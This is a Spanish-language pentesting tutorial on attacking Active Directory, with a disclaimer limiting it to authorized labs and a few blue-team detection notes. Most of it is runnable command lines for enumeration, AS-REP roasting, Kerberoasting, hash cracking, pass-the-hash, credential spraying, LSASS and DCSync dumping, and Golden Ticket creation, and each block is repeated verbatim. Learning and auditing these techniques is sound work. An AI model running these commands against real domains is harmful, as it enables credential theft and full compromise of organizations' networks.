¿Qué aprenderás en este artículo?

Qué es Active Directory y por qué es el objetivo principal en redes corporativas · Conceptos fundamentales: dominios, controladores, Kerberos, LDAP, SID · Enumeración de AD: usuarios, grupos, políticas y relaciones de confianza · AS-REP Roasting: atacar cuentas sin preautenticación Kerberos · Kerberoasting: solicitar tickets de servicio y crackearlos offline · Pass the Hash: autenticarse con hashes NTLM sin conocer la contraseña · BloodHound: visualizar rutas de ataque en el dominio · DCSync: replicar credenciales del controlador de dominio

⚠ Contexto de uso

Las técnicas de este artículo deben practicarse exclusivamente en laboratorios de Active Directory configurados para ese fin: el laboratorio de Vulnerable-AD (github.com/WazeHell/vulnerable-AD), máquinas de HackTheBox o TryHackMe con AD, o un dominio propio montado en VMs. Aplicar estas técnicas en dominios corporativos sin autorización escrita es ilegal y puede comprometer a miles de usuarios simultáneamente. Este artículo es material educativo para profesionales de seguridad que realizan auditorías con autorización.

QUÉ ES ACTIVE DIRECTORY Y POR QUÉ ES EL OBJETIVO PRINCIPAL
 
Active Directory (AD) es el servicio de directorio de Microsoft
que gestiona la autenticación y autorización en redes Windows.
El 90% de las empresas Fortune 500 usan Active Directory.
 
QUÉ GESTIONA AD:
▸ Cuentas de usuario (todos los empleados tienen una)
▸ Cuentas de equipo (cada PC y servidor del dominio)
▸ Grupos de seguridad (para asignar permisos colectivamente)
▸ Políticas de grupo (GPO: configuración de seguridad centralizada)
▸ Servicios y aplicaciones (cuentas de servicio)
 
COMPONENTES CLAVE:
Domain Controller (DC): el servidor que ejecuta AD DS.
  Es el centro de todo: autentica usuarios, aplica políticas.
  Comprometerlo = comprometer todo el dominio.
 
Domain: el ámbito de administración. Ej: empresa.local
Forest: conjunto de dominios con relaciones de confianza.
OU (Organizational Unit): contenedores para organizar objetos.
 
POR QUÉ ES EL OBJETIVO EN PENTESTING:
Un único Domain Admin tiene acceso a TODOS los sistemas del dominio.
Comprometer el DC = acceso a todos los usuarios, equipos y datos.
Las vulnerabilidades de configuración son endémicas en AD:
→ Cuentas con permisos excesivos
→ Delegaciones Kerberos mal configuradas
→ Contraseñas débiles en cuentas de servicio

KERBEROS: EL PROTOCOLO DE AUTENTICACIÓN DE AD
 
Kerberos es el protocolo de autenticación principal de AD.
Funciona con tickets en lugar de contraseñas.
 
FLUJO SIMPLIFICADO:
 
1. El usuario envía su nombre al KDC (Key Distribution Center)
   KDC = el DC. Puerto 88.
 
2. AS-REQ / AS-REP (Authentication Service):
   Cliente → KDC: 'Soy juan@empresa.local, dame un TGT'
   KDC verifica la contraseña y responde:
   KDC → Cliente: TGT (Ticket Granting Ticket)
   El TGT está cifrado con el hash de krbtgt (la cuenta especial del KDC)
 
3. TGS-REQ / TGS-REP (Ticket Granting Service):
   Cliente → KDC: 'Tengo TGT, quiero acceder a \\fileserver\share'
   KDC → Cliente: TGS (Service Ticket) para ese servicio
   El TGS está cifrado con el hash de la cuenta de servicio
 
4. AP-REQ (Application Request):
   Cliente → Servidor: presenta el TGS
   Servidor valida el TGS → acceso concedido
 
POR QUÉ IMPORTA PARA ATAQUES:
▸ AS-REP Roasting: si la cuenta no requiere preautenticación,
  cualquiera puede pedir el AS-REP y crackearlo offline
▸ Kerberoasting: cualquier usuario autenticado puede pedir
  TGS para cualquier SPN. El TGS va cifrado con el hash
  de la cuenta de servicio → crackeable offline
▸ Pass the Ticket / Golden Ticket: usar tickets falsificados

# — ENUMERACIÓN DE ACTIVE DIRECTORY ———————————————
 
# — DESDE LINUX (con credenciales de dominio) ——————————
 
# Enumerar usuarios del dominio:
crackmapexec smb 192.168.56.10 -u usuario -p contraseña --users
 
# Enumerar grupos del dominio:
crackmapexec smb 192.168.56.10 -u usuario -p contraseña --groups
 
# Enumerar shares accesibles:
crackmapexec smb 192.168.56.10 -u usuario -p contraseña --shares
 
# Enumerar con ldapsearch:
ldapsearch -x -H ldap://192.168.56.10 -D 'usuario@empresa.local' -w 'contraseña' -b 'DC=empresa,DC=local' '(objectClass=user)' sAMAccountName
 
# Enumerar con rpcclient:
rpcclient -U 'usuario%contraseña' 192.168.56.10
enumdomusers
enumdomgroups
querydominfo
 
# Enumerar con enum4linux-ng:
enum4linux-ng -A -u usuario -p contraseña 192.168.56.10
 
# — DESDE WINDOWS (en un equipo unido al dominio) ——————————
 
# Ver información del dominio:
net user /domain
net group /domain
net group 'Domain Admins' /domain
 
# PowerShell con módulo ActiveDirectory:
Get-ADUser -Filter * | Select-Object Name,SamAccountName,Enabled
Get-ADGroup -Filter * | Select-Object Name,GroupCategory
Get-ADGroupMember -Identity 'Domain Admins'
Get-ADComputer -Filter * | Select-Object Name,DNSHostName
 
# Ver políticas de contraseñas del dominio:
Get-ADDefaultDomainPasswordPolicy
net accounts /domain

crackmapexec smb 192.168.56.10 -u usuario -p contraseña --users
crackmapexec smb 192.168.56.10 -u usuario -p contraseña --groups
crackmapexec smb 192.168.56.10 -u usuario -p contraseña --shares
ldapsearch -x -H ldap://192.168.56.10 -D 'usuario@empresa.local' -w 'contraseña' -b 'DC=empresa,DC=local' '(objectClass=user)' sAMAccountName
rpcclient -U 'usuario%contraseña' 192.168.56.10
enumdomusers
enumdomgroups
querydominfo
enum4linux-ng -A -u usuario -p contraseña 192.168.56.10
net user /domain
net group /domain
net group 'Domain Admins' /domain
Get-ADUser -Filter * | Select-Object Name,SamAccountName,Enabled
Get-ADGroup -Filter * | Select-Object Name,GroupCategory
Get-ADGroupMember -Identity 'Domain Admins'
Get-ADComputer -Filter * | Select-Object Name,DNSHostName
Get-ADDefaultDomainPasswordPolicy
net accounts /domain

AS-REP ROASTING: CUENTAS SIN PREAUTENTICACIÓN
 
PREAUTENTICACIÓN KERBEROS (normal):
El cliente debe demostrar que conoce la contraseña
ANTES de recibir el TGT. Lo hace cifrando un timestamp
con su hash de contraseña.
 
SIN PREAUTENTICACIÓN (vulnerable):
Si la cuenta tiene 'Do not require Kerberos preauthentication':
Cualquier persona en la red puede pedir el AS-REP para esa cuenta
SIN necesitar conocer su contraseña.
 
EL PROBLEMA:
El AS-REP contiene datos cifrados con el hash de la contraseña
del usuario. Podemos pedir ese AS-REP y crackearlo offline
con hashcat o john.
 
FORMATO DEL HASH (para crackeo):
$krb5asrep$23$usuario@EMPRESA.LOCAL:HASH...
 
POR QUÉ EXISTE ESTA CONFIGURACIÓN:
Algunos servicios y aplicaciones legacy requieren desactivar
la preautenticación para funcionar.
Un administrador puede haberlo activado sin entender las implicaciones.
 
DETECCIÓN:
Buscar cuentas con el atributo:
DONT_REQUIRE_PREAUTH (flag 0x400000 en userAccountControl)

# — AS-REP ROASTING —————————————————————
 
# Desde Linux - GetNPUsers.py (Impacket):
 
# Sin credenciales (si el DC permite sesiones nulas):
GetNPUsers.py empresa.local/ -usersfile usuarios.txt -no-pass -dc-ip 192.168.56.10
 
# Con credenciales (enumera y ataca en un paso):
GetNPUsers.py empresa.local/usuario:contraseña -dc-ip 192.168.56.10
 
# Guardar hashes para crackeo offline:
GetNPUsers.py empresa.local/usuario:contraseña -dc-ip 192.168.56.10 -outputfile asrep_hashes.txt
 
# Desde Windows - PowerView:
Get-DomainUser -PreauthNotRequired | Select-Object SamAccountName
 
# Desde Windows - Rubeus:
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
 
# Crackear hashes con hashcat:
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
 
# Crackear con john:
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
 
# Buscar cuentas vulnerables con LDAP:
ldapsearch -x -H ldap://192.168.56.10 -D 'usuario@empresa.local' -w 'contraseña' -b 'DC=empresa,DC=local' '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' sAMAccountName

GetNPUsers.py empresa.local/ -usersfile usuarios.txt -no-pass -dc-ip 192.168.56.10
GetNPUsers.py empresa.local/usuario:contraseña -dc-ip 192.168.56.10
GetNPUsers.py empresa.local/usuario:contraseña -dc-ip 192.168.56.10 -outputfile asrep_hashes.txt
Get-DomainUser -PreauthNotRequired | Select-Object SamAccountName
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
ldapsearch -x -H ldap://192.168.56.10 -D 'usuario@empresa.local' -w 'contraseña' -b 'DC=empresa,DC=local' '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' sAMAccountName

KERBEROASTING: CRACKEAR TICKETS DE SERVICIO
 
CONCEPTO:
En Kerberos, cualquier usuario autenticado puede solicitar
un TGS (Service Ticket) para cualquier servicio registrado
con un SPN (Service Principal Name).
 
EL TGS está cifrado con el hash NTLM de la cuenta de servicio.
Si esa cuenta de servicio tiene una contraseña débil,
el TGS puede crackearse offline sin enviar ningún paquete adicional.
 
QUÉ ES UN SPN:
Un SPN es el identificador único de un servicio en AD.
Formato: tipo_servicio/nombre_host:puerto
Ejemplos:
MSSQLSvc/sqlserver.empresa.local:1433
HTTP/webserver.empresa.local
CIFS/fileserver.empresa.local
 
EL PROBLEMA:
Los servicios suelen usar cuentas de dominio configuradas
por administradores con contraseñas que no caducan.
Muchas veces esas contraseñas son débiles y nunca se rotan.
 
FORMATO DEL HASH:
$krb5tgs$23$*cuenta_servicio$EMPRESA.LOCAL$SPN*$HASH...
 
DIFERENCIA CON AS-REP ROASTING:
AS-REP: no necesita credenciales, ataca cuentas específicas
Kerberoasting: necesita ser usuario autenticado, ataca cuentas de servicio

# — KERBEROASTING —————————————————————
 
# Desde Linux - GetUserSPNs.py (Impacket):
GetUserSPNs.py empresa.local/usuario:contraseña -dc-ip 192.168.56.10
 
# Solicitar los TGS y guardarlos:
GetUserSPNs.py empresa.local/usuario:contraseña -dc-ip 192.168.56.10 -request -outputfile kerberoast_hashes.txt
 
# Desde Windows - Rubeus:
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
.\Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast_hashes.txt
 
# Desde Windows - PowerView:
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash
 
# Crackear con hashcat (modo 13100 para Kerberoast):
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
 
# Crackear con john:
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
 
# Enumerar cuentas con SPNs (potencialmente kerberoasteables):
GetUserSPNs.py empresa.local/usuario:contraseña -dc-ip 192.168.56.10 -no-preauth
ldapsearch -x -H ldap://192.168.56.10 -D 'usuario@empresa.local' -w 'pass' -b 'DC=empresa,DC=local' '(servicePrincipalName=*)' sAMAccountName

GetUserSPNs.py empresa.local/usuario:contraseña -dc-ip 192.168.56.10
GetUserSPNs.py empresa.local/usuario:contraseña -dc-ip 192.168.56.10 -request -outputfile kerberoast_hashes.txt
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
.\Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast_hashes.txt
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
GetUserSPNs.py empresa.local/usuario:contraseña -dc-ip 192.168.56.10 -no-preauth

PASS THE HASH: AUTENTICARSE CON EL HASH SIN LA CONTRASEÑA
 
CONCEPTO:
El protocolo NTLM autentica a los usuarios con su hash NTLM,
no con la contraseña en texto claro.
Si obtenemos el hash NTLM de un usuario (de LSASS, SAM, secretsdump),
podemos autenticarnos como ese usuario en cualquier servicio
que use NTLM, sin conocer la contraseña.
 
FORMATO DEL HASH NTLM:
Administrator:500:LM_HASH:NT_HASH:::
Solo necesitamos la parte NT_HASH (los últimos 32 caracteres)
 
DÓNDE FUNCIONA PASS THE HASH:
▸ SMB (acceso a shares, ejecución remota con psexec)
▸ WMI (ejecución remota de comandos)
▸ RDP (con credencial PTH en versiones específicas)
▸ LDAP (consultas al directorio)
▸ MSSQL (conexión a bases de datos)
 
DÓNDE NO FUNCIONA:
▸ Kerberos (usa tickets, no hashes NTLM directamente)
▸ Servicios que requieren autenticación interactiva
 
PASS THE TICKET:
Similar pero usando tickets Kerberos (TGT o TGS) en lugar
de hashes. Se puede usar con Rubeus o mimikatz.
Útil cuando Kerberos es el protocolo de autenticación.

# — PASS THE HASH ————————————————
 
# CrackMapExec - verificar si el hash es válido:
crackmapexec smb 192.168.56.0/24 -u Administrator -H 'NTLM_HASH'
 
# CrackMapExec - ejecutar comando con PTH:
crackmapexec smb 192.168.56.10 -u Administrator -H 'NTLM_HASH' -x 'whoami'
 
# CrackMapExec - volcar SAM con PTH:
crackmapexec smb 192.168.56.10 -u Administrator -H 'NTLM_HASH' --sam
 
# CrackMapExec - volcar LSA secrets con PTH:
crackmapexec smb 192.168.56.10 -u Administrator -H 'NTLM_HASH' --lsa
 
# Impacket psexec - shell interactivo con PTH:
psexec.py empresa.local/Administrator@192.168.56.10 -hashes ':NTLM_HASH'
 
# Impacket wmiexec:
wmiexec.py empresa.local/Administrator@192.168.56.10 -hashes ':NTLM_HASH'
 
# Impacket smbexec:
smbexec.py empresa.local/Administrator@192.168.56.10 -hashes ':NTLM_HASH'
 
# secretsdump con PTH (extraer credenciales remotamente):
secretsdump.py empresa.local/Administrator@192.168.56.10 -hashes ':NTLM_HASH'
 
# Evil-WinRM (shell PowerShell remoto con PTH):
evil-winrm -i 192.168.56.10 -u Administrator -H 'NTLM_HASH'
 
# xfreerdp con PTH (RDP):
xfreerdp /u:Administrator /pth:NTLM_HASH /v:192.168.56.10

crackmapexec smb 192.168.56.0/24 -u Administrator -H 'NTLM_HASH'
crackmapexec smb 192.168.56.10 -u Administrator -H 'NTLM_HASH' -x 'whoami'
crackmapexec smb 192.168.56.10 -u Administrator -H 'NTLM_HASH' --sam
crackmapexec smb 192.168.56.10 -u Administrator -H 'NTLM_HASH' --lsa
psexec.py empresa.local/Administrator@192.168.56.10 -hashes ':NTLM_HASH'
wmiexec.py empresa.local/Administrator@192.168.56.10 -hashes ':NTLM_HASH'
smbexec.py empresa.local/Administrator@192.168.56.10 -hashes ':NTLM_HASH'
secretsdump.py empresa.local/Administrator@192.168.56.10 -hashes ':NTLM_HASH'
evil-winrm -i 192.168.56.10 -u Administrator -H 'NTLM_HASH'
xfreerdp /u:Administrator /pth:NTLM_HASH /v:192.168.56.10

BLOODHOUND: VISUALIZAR RUTAS DE ATAQUE EN EL DOMINIO
 
QUÉ ES BLOODHOUND:
BloodHound es una herramienta que mapea las relaciones entre
objetos de Active Directory y encuentra rutas de ataque
desde cualquier usuario hasta Domain Admin.
 
CÓMO FUNCIONA:
1. SharpHound (o BloodHound.py) recopila datos del dominio:
   usuarios, grupos, ACLs, GPOs, sesiones activas, derechos...
2. BloodHound (interfaz gráfica con Neo4j) importa los datos
   y los muestra como un grafo de relaciones.
3. El auditor ejecuta queries predefinidas:
   'Shortest path to Domain Admin'
   'Find all paths from X to Domain Admin'
   'Find principals with DCSync rights'
 
QUÉ RELACIONES DETECTA:
MemberOf         → pertenencia a grupos
AdminTo          → quién tiene admin local en qué equipo
HasSession       → qué usuarios tienen sesión activa en qué equipo
CanRDP           → quién puede hacer RDP a qué equipo
GenericAll       → control total sobre un objeto
WriteDACL        → puede modificar los ACLs del objeto
AllExtendedRights → todos los derechos extendidos
ForceChangePassword → puede cambiar la contraseña sin conocerla
 
EJEMPLO DE RUTA DE ATAQUE:
usuario_comprometido
→ MemberOf → Grupo_Helpdesk
→ AdminTo → WORKSTATION01
→ HasSession → domain_admin_user (tiene sesión en WS01)
→ Extraer credenciales de LSASS → Domain Admin

# — BLOODHOUND: RECOPILACIÓN Y ANÁLISIS ——————————
 
# — INSTALACIÓN ——————————
sudo apt install bloodhound neo4j
 
# Iniciar Neo4j:
sudo neo4j start
 
# Iniciar BloodHound:
bloodhound &
 
# — RECOPILACIÓN DE DATOS CON BLOODHOUND.PY (desde Linux) ——
pip3 install bloodhound
bloodhound-python -u usuario -p contraseña -d empresa.local -dc 192.168.56.10 -c all
 
# Recopilar solo sesiones activas:
bloodhound-python -u usuario -p contraseña -d empresa.local -dc 192.168.56.10 -c Session
 
# — RECOPILACIÓN CON SHARPHOUND (desde Windows) ——————
.\SharpHound.exe -c all
.\SharpHound.exe -c all --zipfilename resultado.zip
.\SharpHound.exe -c all,GPOLocalGroup
 
# — QUERIES ÚTILES EN BLOODHOUND ——————————
# (ejecutar en la interfaz gráfica de BloodHound)
 
# Ruta más corta a Domain Admin:
# Menú → Analysis → 'Find Shortest Paths to Domain Admins'
 
# Usuarios con DCSync:
# Menú → Analysis → 'Find Principals with DCSync Rights'
 
# Equipos con sesiones de DA activas:
# Menú → Analysis → 'Find Computers where Domain Admins have Sessions'

sudo apt install bloodhound neo4j
sudo neo4j start
bloodhound &
pip3 install bloodhound
bloodhound-python -u usuario -p contraseña -d empresa.local -dc 192.168.56.10 -c all
bloodhound-python -u usuario -p contraseña -d empresa.local -dc 192.168.56.10 -c Session
.\SharpHound.exe -c all
.\SharpHound.exe -c all --zipfilename resultado.zip
.\SharpHound.exe -c all,GPOLocalGroup

# — MOVIMIENTO LATERAL EN AD ——————————
 
# CrackMapExec: spray de credenciales en toda la red:
crackmapexec smb 192.168.56.0/24 -u usuario -p contraseña
crackmapexec smb 192.168.56.0/24 -u usuarios.txt -p contraseñas.txt --continue-on-success
 
# Ejecutar comando en todos los equipos donde somos admin:
crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña -x 'whoami'
 
# Evil-WinRM: shell PowerShell remoto (puerto 5985 WinRM):
evil-winrm -i 192.168.56.10 -u Administrator -p contraseña
 
# psexec.py: shell interactivo via SMB:
psexec.py empresa.local/Administrator:contraseña@192.168.56.10
 
# smbclient: acceso a shares:
smbclient //192.168.56.10/C$ -U 'empresa.local/Administrator%contraseña'
 
# Enumerar sesiones activas (para Pass the Hash después):
crackmapexec smb 192.168.56.0/24 -u usuario -p contraseña --sessions
 
# Volcar hashes de LSASS en múltiples equipos:
crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña --lsa
crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña -M lsassy

crackmapexec smb 192.168.56.0/24 -u usuario -p contraseña
crackmapexec smb 192.168.56.0/24 -u usuarios.txt -p contraseñas.txt --continue-on-success
crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña -x 'whoami'
evil-winrm -i 192.168.56.10 -u Administrator -p contraseña
psexec.py empresa.local/Administrator:contraseña@192.168.56.10
smbclient //192.168.56.10/C$ -U 'empresa.local/Administrator%contraseña'
crackmapexec smb 192.168.56.0/24 -u usuario -p contraseña --sessions
crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña --lsa
crackmapexec smb 192.168.56.0/24 -u Administrator -p contraseña -M lsassy

DCSYNC: REPLICAR CREDENCIALES DEL CONTROLADOR DE DOMINIO
 
CONCEPTO:
Los Controladores de Dominio se replican entre sí usando
el protocolo MS-DRSR (Directory Replication Service Remote).
Un DC puede pedir a otro DC que le envíe los hashes de
todas las cuentas del dominio para sincronizar.
 
DCSync abusa de este protocolo:
Si una cuenta tiene los derechos DS-Replication-Get-Changes
y DS-Replication-Get-Changes-All, puede simular ser un DC
y pedir los hashes de cualquier cuenta, incluyendo krbtgt.
 
QUÉ CUENTAS TIENEN ESTOS DERECHOS POR DEFECTO:
▸ Domain Admins
▸ Enterprise Admins
▸ Administrators
▸ El propio DC
 
POR QUÉ ES TAN VALIOSO:
▸ Extraer el hash de krbtgt permite crear Golden Tickets
▸ Golden Ticket = ticket Kerberos válido para CUALQUIER recurso
  del dominio, sin necesidad de acceso al DC, indefinidamente
▸ Es la técnica de persistencia máxima en AD
 
DETECCIÓN (blue team):
Event ID 4662 + Object Type = 'domainDNS'
+ Properties contiene DS-Replication-Get-Changes
→ Generado cuando algo solicita replicación de AD

# — DCSYNC ——————————
 
# Con secretsdump.py (Impacket) - desde Linux:
secretsdump.py empresa.local/domain_admin:contraseña@192.168.56.10
 
# DCSync solo del usuario Administrator:
secretsdump.py -just-dc-user Administrator empresa.local/domain_admin:contraseña@192.168.56.10
 
# DCSync del krbtgt (para Golden Ticket):
secretsdump.py -just-dc-user krbtgt empresa.local/domain_admin:contraseña@192.168.56.10
 
# Con PTH en lugar de contraseña:
secretsdump.py empresa.local/domain_admin@192.168.56.10 -hashes ':NTLM_HASH'
 
# Con Mimikatz (desde Windows en el dominio):
.\mimikatz.exe
lsadump::dcsync /domain:empresa.local /user:krbtgt
lsadump::dcsync /domain:empresa.local /all /csv
 
# — GOLDEN TICKET (con el hash de krbtgt) ——————————
lsadump::dcsync /domain:empresa.local /user:krbtgt
kerberos::golden /user:Administrator /domain:empresa.local /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH /id:500
kerberos::ptt golden.kirbi
 
# Verificar acceso con el Golden Ticket:
misc::cmd
dir \\DC01\C$

secretsdump.py empresa.local/domain_admin:contraseña@192.168.56.10
secretsdump.py -just-dc-user Administrator empresa.local/domain_admin:contraseña@192.168.56.10
secretsdump.py -just-dc-user krbtgt empresa.local/domain_admin:contraseña@192.168.56.10
secretsdump.py empresa.local/domain_admin@192.168.56.10 -hashes ':NTLM_HASH'
.\mimikatz.exe
lsadump::dcsync /domain:empresa.local /user:krbtgt
lsadump::dcsync /domain:empresa.local /all /csv
kerberos::golden /user:Administrator /domain:empresa.local /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH /id:500
kerberos::ptt golden.kirbi
misc::cmd
dir \\DC01\C$

FLUJO DE ATAQUE EN ACTIVE DIRECTORY
 
PUNTO DE PARTIDA: usuario de dominio sin privilegios
(obtenido por phishing, credencial débil, vulnerabilidad web...)
 
FASE 1: ENUMERACIÓN DEL DOMINIO
crackmapexec smb DC_IP -u user -p pass --users --groups
bloodhound-python -u user -p pass -d dominio.local -c all
→ Mapa completo de usuarios, grupos y relaciones
 
FASE 2: ATAQUE A CREDENCIALES
GetNPUsers.py dominio/ -usersfile users.txt -no-pass     ← AS-REP
GetUserSPNs.py dominio/user:pass -request                ← Kerberoast
hashcat -m 18200/-m 13100 hashes.txt rockyou.txt          ← crackeo
 
FASE 3: ESCALADA CON BLOODHOUND
Importar datos en BloodHound
Query: 'Shortest Path to Domain Admins'
Identificar la cadena de relaciones para llegar a DA
 
FASE 4: MOVIMIENTO LATERAL
CrackMapExec spray de credenciales obtenidas
evil-winrm / psexec.py en equipos donde somos admin
Extraer hashes de LSASS en cada equipo comprometido
 
FASE 5: DOMINIO COMPROMETIDO
secretsdump.py con DA → todos los hashes
mimikatz dcsync → hash de krbtgt
Golden Ticket → persistencia indefinida
 
DOCUMENTAR TODA LA CADENA: cada paso con evidencia

Recursos para practicar Active Directory

Vulnerable-AD (github.com/WazeHell/vulnerable-AD): script para montar un dominio AD vulnerable en VMs propias · HackTheBox Pro Labs (Offshore, RastaLabs): laboratorios de AD de nivel profesional · TryHackMe ‘Attacking Active Directory’: sala guiada con cada técnica paso a paso · HackTricks – AD Methodology (book.hacktricks.xyz): la referencia más completa de ataques a AD · Impacket (github.com/fortra/impacket): suite de herramientas Python para protocolos Windows/AD · BloodHound (github.com/BloodHoundAD/BloodHound): visualización de rutas de ataque en AD